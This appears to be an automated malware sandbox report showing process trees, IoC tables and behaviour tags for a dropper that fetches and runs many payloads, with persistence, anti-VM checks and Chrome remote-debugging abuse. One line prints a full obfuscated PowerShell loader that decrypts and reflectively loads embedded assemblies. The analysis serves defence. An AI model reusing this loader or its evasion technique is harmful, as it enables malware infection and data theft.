76e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e	7aencsM.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
3400	schtasks.exe
5908	schtasks.exe
1144	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4904	09c586796227f25da3e37d9203d0c48e.exe
4904	09c586796227f25da3e37d9203d0c48e.exe
1484	skotes.exe
1484	skotes.exe
4556	c379a1bd05.exe
4556	c379a1bd05.exe
4556	c379a1bd05.exe
4556	c379a1bd05.exe
3832	Fe36XBk.exe
3832	Fe36XBk.exe
4168	Bjkm5hE.exe
4168	Bjkm5hE.exe
4168	Bjkm5hE.exe
4168	Bjkm5hE.exe
1292	powershell.exe
1292	powershell.exe
4676	powershell.exe
4676	powershell.exe
3964	powershell.exe
3964	powershell.exe
4864	ViGgA8C.exe
4864	ViGgA8C.exe
3964	powershell.exe
2368	DTQCxXZ.exe
2368	DTQCxXZ.exe
2368	DTQCxXZ.exe
2368	DTQCxXZ.exe
1504	skotes.exe
1504	skotes.exe
4864	ViGgA8C.exe
4864	ViGgA8C.exe
4864	ViGgA8C.exe
1816	d2YQIJa.exe
1816	d2YQIJa.exe
1816	d2YQIJa.exe
1816	d2YQIJa.exe
1816	d2YQIJa.exe
1816	d2YQIJa.exe
952	sHN20me.exe
952	sHN20me.exe
952	sHN20me.exe
952	sHN20me.exe
952	sHN20me.exe
952	sHN20me.exe
1252	spoDnGT.exe
1252	spoDnGT.exe
1252	spoDnGT.exe
1252	spoDnGT.exe
1252	spoDnGT.exe
1252	spoDnGT.exe
4172	Ta3ZyUR.exe
4172	Ta3ZyUR.exe
4172	Ta3ZyUR.exe
4172	Ta3ZyUR.exe
3016	qFqSpAp.exe
3016	qFqSpAp.exe
3016	qFqSpAp.exe
3016	qFqSpAp.exe
952	m5UP2Yj.exe
952	m5UP2Yj.exe
1520	jROrnzx.exe
1520	jROrnzx.exe
1520	jROrnzx.exe
1520	jROrnzx.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 7 IoCs

pid	Process
2064	chrome.exe
2064	chrome.exe
2064	chrome.exe
6024	msedge.exe
6024	msedge.exe
6024	msedge.exe
6024	msedge.exe

Suspicious use of AdjustPrivilegeToken 25 IoCs

description	pid	Process
Token: SeDebugPrivilege	1292	powershell.exe
Token: SeDebugPrivilege	4676	powershell.exe
Token: SeDebugPrivilege	3964	powershell.exe
Token: SeDebugPrivilege	4864	ViGgA8C.exe
Token: SeShutdownPrivilege	2064	chrome.exe
Token: SeCreatePagefilePrivilege	2064	chrome.exe
Token: SeShutdownPrivilege	2064	chrome.exe
Token: SeCreatePagefilePrivilege	2064	chrome.exe
Token: SeShutdownPrivilege	2064	chrome.exe
Token: SeCreatePagefilePrivilege	2064	chrome.exe
Token: SeShutdownPrivilege	2064	chrome.exe
Token: SeCreatePagefilePrivilege	2064	chrome.exe
Token: SeShutdownPrivilege	2064	chrome.exe
Token: SeCreatePagefilePrivilege	2064	chrome.exe
Token: SeDebugPrivilege	3488	powershell.exe
Token: SeShutdownPrivilege	2064	chrome.exe
Token: SeCreatePagefilePrivilege	2064	chrome.exe
Token: SeShutdownPrivilege	2064	chrome.exe
Token: SeCreatePagefilePrivilege	2064	chrome.exe
Token: SeDebugPrivilege	5328	powershell.exe
Token: SeDebugPrivilege	5592	powershell.exe
Token: SeDebugPrivilege	3972	TempDEQSZDBGHXZIACILVVDMBQU2XDC3R5XO.EXE
Token: SeDebugPrivilege	5764	powershell.exe
Token: SeDebugPrivilege	5984	powershell.exe
Token: SeDebugPrivilege	5384	powershell.exe

Suspicious use of FindShellTrayWindow 55 IoCs

pid	Process
4904	09c586796227f25da3e37d9203d0c48e.exe
2064	chrome.exe
2064	chrome.exe
2064	chrome.exe
2064	chrome.exe
2064	chrome.exe
2064	chrome.exe
2064	chrome.exe
2064	chrome.exe
2064	chrome.exe
2064	chrome.exe
2064	chrome.exe
2064	chrome.exe
2064	chrome.exe
2064	chrome.exe
2064	chrome.exe
2064	chrome.exe
2064	chrome.exe
2064	chrome.exe
2064	chrome.exe
2064	chrome.exe
2064	chrome.exe
2064	chrome.exe
2064	chrome.exe
2064	chrome.exe
2064	chrome.exe
2064	chrome.exe
2988	c4a7457852.exe
2988	c4a7457852.exe
2988	c4a7457852.exe
6024	msedge.exe
6024	msedge.exe
6024	msedge.exe
6024	msedge.exe
6024	msedge.exe
6024	msedge.exe
6024	msedge.exe
6024	msedge.exe
6024	msedge.exe
6024	msedge.exe
6024	msedge.exe
6024	msedge.exe
6024	msedge.exe
6024	msedge.exe
6024	msedge.exe
6024	msedge.exe
6024	msedge.exe
6024	msedge.exe
6024	msedge.exe
6024	msedge.exe
6024	msedge.exe
6024	msedge.exe
6024	msedge.exe
6024	msedge.exe
6024	msedge.exe

Suspicious use of SendNotifyMessage 3 IoCs

pid	Process
2988	c4a7457852.exe
2988	c4a7457852.exe
2988	c4a7457852.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4904 wrote to memory of 1484	4904	09c586796227f25da3e37d9203d0c48e.exe	84
PID 4904 wrote to memory of 1484	4904	09c586796227f25da3e37d9203d0c48e.exe	84
PID 4904 wrote to memory of 1484	4904	09c586796227f25da3e37d9203d0c48e.exe	84
PID 1484 wrote to memory of 1764	1484	skotes.exe	85
PID 1484 wrote to memory of 1764	1484	skotes.exe	85
PID 1484 wrote to memory of 1764	1484	skotes.exe	85
PID 1764 wrote to memory of 4556	1764	c379a1bd05.exe	86
PID 1764 wrote to memory of 4556	1764	c379a1bd05.exe	86
PID 1764 wrote to memory of 4556	1764	c379a1bd05.exe	86
PID 1764 wrote to memory of 4556	1764	c379a1bd05.exe	86
PID 1764 wrote to memory of 4556	1764	c379a1bd05.exe	86
PID 1764 wrote to memory of 4556	1764	c379a1bd05.exe	86
PID 1764 wrote to memory of 4556	1764	c379a1bd05.exe	86
PID 1764 wrote to memory of 4556	1764	c379a1bd05.exe	86
PID 1764 wrote to memory of 4556	1764	c379a1bd05.exe	86
PID 1484 wrote to memory of 2740	1484	skotes.exe	91
PID 1484 wrote to memory of 2740	1484	skotes.exe	91
PID 1484 wrote to memory of 2740	1484	skotes.exe	91
PID 1484 wrote to memory of 3044	1484	skotes.exe	92
PID 1484 wrote to memory of 3044	1484	skotes.exe	92
PID 1484 wrote to memory of 3044	1484	skotes.exe	92
PID 1484 wrote to memory of 2980	1484	skotes.exe	93
PID 1484 wrote to memory of 2980	1484	skotes.exe	93
PID 1484 wrote to memory of 2980	1484	skotes.exe	93
PID 2980 wrote to memory of 4168	2980	Bjkm5hE.exe	94
PID 2980 wrote to memory of 4168	2980	Bjkm5hE.exe	94
PID 2980 wrote to memory of 4168	2980	Bjkm5hE.exe	94
PID 2980 wrote to memory of 4168	2980	Bjkm5hE.exe	94
PID 2980 wrote to memory of 4168	2980	Bjkm5hE.exe	94
PID 2980 wrote to memory of 4168	2980	Bjkm5hE.exe	94
PID 2980 wrote to memory of 4168	2980	Bjkm5hE.exe	94
PID 2980 wrote to memory of 4168	2980	Bjkm5hE.exe	94
PID 2980 wrote to memory of 4168	2980	Bjkm5hE.exe	94
PID 1484 wrote to memory of 3832	1484	skotes.exe	97
PID 1484 wrote to memory of 3832	1484	skotes.exe	97
PID 1484 wrote to memory of 3832	1484	skotes.exe	97
PID 1484 wrote to memory of 1292	1484	skotes.exe	98
PID 1484 wrote to memory of 1292	1484	skotes.exe	98
PID 1484 wrote to memory of 1292	1484	skotes.exe	98
PID 1292 wrote to memory of 1696	1292	powershell.exe	100
PID 1292 wrote to memory of 1696	1292	powershell.exe	100
PID 1292 wrote to memory of 1696	1292	powershell.exe	100
PID 1696 wrote to memory of 1156	1696	cmd.exe	102
PID 1696 wrote to memory of 1156	1696	cmd.exe	102
PID 1696 wrote to memory of 1156	1696	cmd.exe	102
PID 1696 wrote to memory of 4676	1696	cmd.exe	103
PID 1696 wrote to memory of 4676	1696	cmd.exe	103
PID 1696 wrote to memory of 4676	1696	cmd.exe	103
PID 1484 wrote to memory of 4864	1484	skotes.exe	104
PID 1484 wrote to memory of 4864	1484	skotes.exe	104
PID 1484 wrote to memory of 4864	1484	skotes.exe	104
PID 4676 wrote to memory of 3964	4676	powershell.exe	106
PID 4676 wrote to memory of 3964	4676	powershell.exe	106
PID 4676 wrote to memory of 3964	4676	powershell.exe	106
PID 1484 wrote to memory of 2368	1484	skotes.exe	107
PID 1484 wrote to memory of 2368	1484	skotes.exe	107
PID 1484 wrote to memory of 2368	1484	skotes.exe	107
PID 2740 wrote to memory of 4620	2740	13Z5sqy.exe	108
PID 2740 wrote to memory of 4620	2740	13Z5sqy.exe	108
PID 2740 wrote to memory of 4620	2740	13Z5sqy.exe	108
PID 1484 wrote to memory of 4860	1484	skotes.exe	109
PID 1484 wrote to memory of 4860	1484	skotes.exe	109
PID 1484 wrote to memory of 4860	1484	skotes.exe	109
PID 2740 wrote to memory of 4620	2740	13Z5sqy.exe	108

C:\Users\Admin\AppData\Local\Temp\09c586796227f25da3e37d9203d0c48e.exe
"C:\Users\Admin\AppData\Local\Temp\09c586796227f25da3e37d9203d0c48e.exe"
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Checks computer location settings
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:4904
- C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
  "C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe"
  2⤵
  - Identifies VirtualBox via ACPI registry values (likely anti-VM)
  - Downloads MZ/PE file
  - Checks BIOS information in registry
  - Checks computer location settings
  - Executes dropped EXE
  - Identifies Wine through registry keys
  - Adds Run key to start application
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:1484
- - C:\Users\Admin\AppData\Local\Temp\1014060001\c379a1bd05.exe
    "C:\Users\Admin\AppData\Local\Temp\1014060001\c379a1bd05.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1764
  - - C:\Users\Admin\AppData\Local\Temp\1014060001\c379a1bd05.exe
      "C:\Users\Admin\AppData\Local\Temp\1014060001\c379a1bd05.exe"
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      PID:4556
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 1764 -s 968
      4⤵
      Program crash
      PID:2812
- - C:\Users\Admin\AppData\Local\Temp\1034761001\13Z5sqy.exe
    "C:\Users\Admin\AppData\Local\Temp\1034761001\13Z5sqy.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2740
  - - C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
      "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"
      4⤵
      System Location Discovery: System Language Discovery
      PID:4620
- - C:\Users\Admin\AppData\Local\Temp\1039270001\jonbDes.exe
    "C:\Users\Admin\AppData\Local\Temp\1039270001\jonbDes.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:3044
- - C:\Users\Admin\AppData\Local\Temp\1071208001\Bjkm5hE.exe
    "C:\Users\Admin\AppData\Local\Temp\1071208001\Bjkm5hE.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2980
  - - C:\Users\Admin\AppData\Local\Temp\1071208001\Bjkm5hE.exe
      "C:\Users\Admin\AppData\Local\Temp\1071208001\Bjkm5hE.exe"
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      PID:4168
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 2980 -s 964
      4⤵
      Program crash
      PID:3560
- - C:\Users\Admin\AppData\Local\Temp\1071276001\Fe36XBk.exe
    "C:\Users\Admin\AppData\Local\Temp\1071276001\Fe36XBk.exe"
    3⤵
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    - Checks BIOS information in registry
    - Executes dropped EXE
    - Identifies Wine through registry keys
    - Writes to the Master Boot Record (MBR)
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    PID:3832
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy remotesigned -File "C:\Users\Admin\AppData\Local\Temp\1073578041\tYliuwV.ps1"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Drops startup file
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1292
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MyPayload.bat"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:1696
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MyPayload.bat';$MoqZ='DeKyLvcoKyLvmprKyLveKyLvssKyLv'.Replace('KyLv', ''),'EJwaGlemJwaGeJwaGnJwaGtJwaGAtJwaG'.Replace('JwaG', ''),'CrgSdPegSdPagSdPtgSdPegSdPDecgSdPrypgSdPtorgSdP'.Replace('gSdP', ''),'EnAUSatAUSaryAUSaPAUSaoiAUSantAUSa'.Replace('AUSa', ''),'RifKyeaifKydifKyLiifKyneifKysifKy'.Replace('ifKy', ''),'CoIpkTpyIpkTTIpkToIpkT'.Replace('IpkT', ''),'LRxQFoRxQFaRxQFdRxQF'.Replace('RxQF', ''),'ChPYPIanPYPIgPYPIePYPIExPYPItenPYPIsioPYPInPYPI'.Replace('PYPI', ''),'SplhjTaihjTathjTa'.Replace('hjTa', ''),'IVERYnvoVERYkeVERY'.Replace('VERY', ''),'MaGACXinMGACXoduGACXlGACXeGACX'.Replace('GACX', ''),'GetEffVCuEffVrreEffVnEffVtPEffVroEffVceEffVsEffVsEffV'.Replace('EffV', ''),'TrgFlMagFlMnsgFlMfogFlMrmgFlMFingFlMalgFlMBgFlMlogFlMcgFlMkgFlM'.Replace('gFlM', ''),'FZnjbroZnjbmBaZnjbseZnjb64ZnjbSZnjbtZnjbrinZnjbgZnjb'.Replace('Znjb', '');powershell -w hidden;$modules=[System.Diagnostics.Process]::($MoqZ[11])().Modules;if ($modules -match 'hmpalert.dll') { exit; };function OcByW($zyHkO){$MahHK=[System.Security.Cryptography.Aes]::Create();$MahHK.Mode=[System.Security.Cryptography.CipherMode]::CBC;$MahHK.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$MahHK.Key=[System.Convert]::($MoqZ[13])('AAMGkknb01QKxJVl43m9//ZRwVkG6pEiu9VVo6uyG5U=');$MahHK.IV=[System.Convert]::($MoqZ[13])('/W6oLxKJHKSzHfvUm38XsQ==');$RyLXH=$MahHK.($MoqZ[2])();$Vocox=$RyLXH.($MoqZ[12])($zyHkO,0,$zyHkO.Length);$RyLXH.Dispose();$MahHK.Dispose();$Vocox;}function dAZyU($zyHkO){$CHeOb=New-Object System.IO.MemoryStream(,$zyHkO);$PxKaw=New-Object System.IO.MemoryStream;$ikNUp=New-Object System.IO.Compression.GZipStream($CHeOb,[IO.Compression.CompressionMode]::($MoqZ[0]));$ikNUp.($MoqZ[5])($PxKaw);$ikNUp.Dispose();$CHeOb.Dispose();$PxKaw.Dispose();$PxKaw.ToArray();}$ygeKx=[System.IO.File]::($MoqZ[4])([Console]::Title);$WLLeN=dAZyU (OcByW ([Convert]::($MoqZ[13])([System.Linq.Enumerable]::($MoqZ[1])($ygeKx, 5).Substring(2))));$PCQGF=dAZyU (OcByW ([Convert]::($MoqZ[13])([System.Linq.Enumerable]::($MoqZ[1])($ygeKx, 6).Substring(2))));[System.Reflection.Assembly]::($MoqZ[6])([byte[]]$PCQGF).($MoqZ[3]).($MoqZ[9])($null,$null);[System.Reflection.Assembly]::($MoqZ[6])([byte[]]$WLLeN).($MoqZ[3]).($MoqZ[9])($null,$null); "
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:1156
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        5⤵
        Blocklisted process makes network request
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:4676
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
        6⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3964
- - C:\Users\Admin\AppData\Local\Temp\1073896001\ViGgA8C.exe
    "C:\Users\Admin\AppData\Local\Temp\1073896001\ViGgA8C.exe"
    3⤵
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    - Checks BIOS information in registry
    - Executes dropped EXE
    - Identifies Wine through registry keys
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4864
- - C:\Users\Admin\AppData\Local\Temp\1076269001\DTQCxXZ.exe
    "C:\Users\Admin\AppData\Local\Temp\1076269001\DTQCxXZ.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    PID:2368
- - C:\Users\Admin\AppData\Local\Temp\1076858001\TaVOM7x.exe
    "C:\Users\Admin\AppData\Local\Temp\1076858001\TaVOM7x.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - System Location Discovery: System Language Discovery
    PID:4860
  - - C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
      "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"
      4⤵
      System Location Discovery: System Language Discovery
      PID:5016
- - C:\Users\Admin\AppData\Local\Temp\1078317001\d2YQIJa.exe
    "C:\Users\Admin\AppData\Local\Temp\1078317001\d2YQIJa.exe"
    3⤵
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    - Checks BIOS information in registry
    - Executes dropped EXE
    - Identifies Wine through registry keys
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    PID:1816
- - C:\Users\Admin\AppData\Local\Temp\1078482001\sHN20me.exe
    "C:\Users\Admin\AppData\Local\Temp\1078482001\sHN20me.exe"
    3⤵
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    - Checks BIOS information in registry
    - Executes dropped EXE
    - Identifies Wine through registry keys
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    PID:952
- - C:\Users\Admin\AppData\Local\Temp\1081729001\spoDnGT.exe
    "C:\Users\Admin\AppData\Local\Temp\1081729001\spoDnGT.exe"
    3⤵
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    - Checks BIOS information in registry
    - Executes dropped EXE
    - Identifies Wine through registry keys
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    PID:1252
- - C:\Users\Admin\AppData\Local\Temp\1083135001\Ta3ZyUR.exe
    "C:\Users\Admin\AppData\Local\Temp\1083135001\Ta3ZyUR.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - System Location Discovery: System Language Discovery
    PID:1016
  - - C:\Users\Admin\AppData\Local\Temp\1083135001\Ta3ZyUR.exe
      "C:\Users\Admin\AppData\Local\Temp\1083135001\Ta3ZyUR.exe"
      4⤵
      Executes dropped EXE
      PID:1344
  - - C:\Users\Admin\AppData\Local\Temp\1083135001\Ta3ZyUR.exe
      "C:\Users\Admin\AppData\Local\Temp\1083135001\Ta3ZyUR.exe"
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      PID:4172
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 1016 -s 956
      4⤵
      Program crash
      PID:2752
- - C:\Users\Admin\AppData\Local\Temp\1083218001\qFqSpAp.exe
    "C:\Users\Admin\AppData\Local\Temp\1083218001\qFqSpAp.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    PID:3016
- - C:\Users\Admin\AppData\Local\Temp\1083537001\m5UP2Yj.exe
    "C:\Users\Admin\AppData\Local\Temp\1083537001\m5UP2Yj.exe"
    3⤵
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    - Checks BIOS information in registry
    - Executes dropped EXE
    - Identifies Wine through registry keys
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    PID:952
- - C:\Users\Admin\AppData\Local\Temp\1084785001\jROrnzx.exe
    "C:\Users\Admin\AppData\Local\Temp\1084785001\jROrnzx.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - System Location Discovery: System Language Discovery
    PID:4160
  - - C:\Users\Admin\AppData\Local\Temp\1084785001\jROrnzx.exe
      "C:\Users\Admin\AppData\Local\Temp\1084785001\jROrnzx.exe"
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      PID:1520
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 4160 -s 964
      4⤵
      Program crash
      PID:5044
- - C:\Users\Admin\AppData\Local\Temp\1084873001\7aencsM.exe
    "C:\Users\Admin\AppData\Local\Temp\1084873001\7aencsM.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - System Location Discovery: System Language Discovery
    PID:5104
  - - C:\Users\Admin\AppData\Local\Temp\1084873001\7aencsM.exe
      "C:\Users\Admin\AppData\Local\Temp\1084873001\7aencsM.exe"
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Checks processor information in registry
      Modifies system certificate store
      PID:2496
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default"
        5⤵
        Uses browser remote debugging
        Enumerates system info in registry
        Modifies data under HKEY_USERS
        Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of FindShellTrayWindow
        
        PID:2064
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=123.0.6312.123 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7fff24fccc40,0x7fff24fccc4c,0x7fff24fccc58
        6⤵
        
        PID:4316
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-appcompat-clear --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=1904,i,14902384966183243309,7265085238939916733,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=1900 /prefetch:2
        6⤵
        
        PID:1920
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=1796,i,14902384966183243309,7265085238939916733,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=2020 /prefetch:3
        6⤵
        
        PID:4828
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=2260,i,14902384966183243309,7265085238939916733,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=2480 /prefetch:8
        6⤵
        
        PID:2720
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --remote-debugging-port=9223 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3160,i,14902384966183243309,7265085238939916733,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=3168 /prefetch:1
        6⤵
        Uses browser remote debugging
        
        PID:1356
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --remote-debugging-port=9223 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3196,i,14902384966183243309,7265085238939916733,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=3216 /prefetch:1
        6⤵
        Uses browser remote debugging
        
        PID:2260
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --remote-debugging-port=9223 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=4224,i,14902384966183243309,7265085238939916733,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=4308 /prefetch:1
        6⤵
        Uses browser remote debugging
        
        PID:4464
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4480,i,14902384966183243309,7265085238939916733,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=4684 /prefetch:8
        6⤵
        
        PID:3604
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4716,i,14902384966183243309,7265085238939916733,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=4728 /prefetch:8
        6⤵
        
        PID:1288
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=4864,i,14902384966183243309,7265085238939916733,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=4700 /prefetch:8
        6⤵
        
        PID:968
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4924,i,14902384966183243309,7265085238939916733,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=4644 /prefetch:8
        6⤵
        
        PID:4812
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
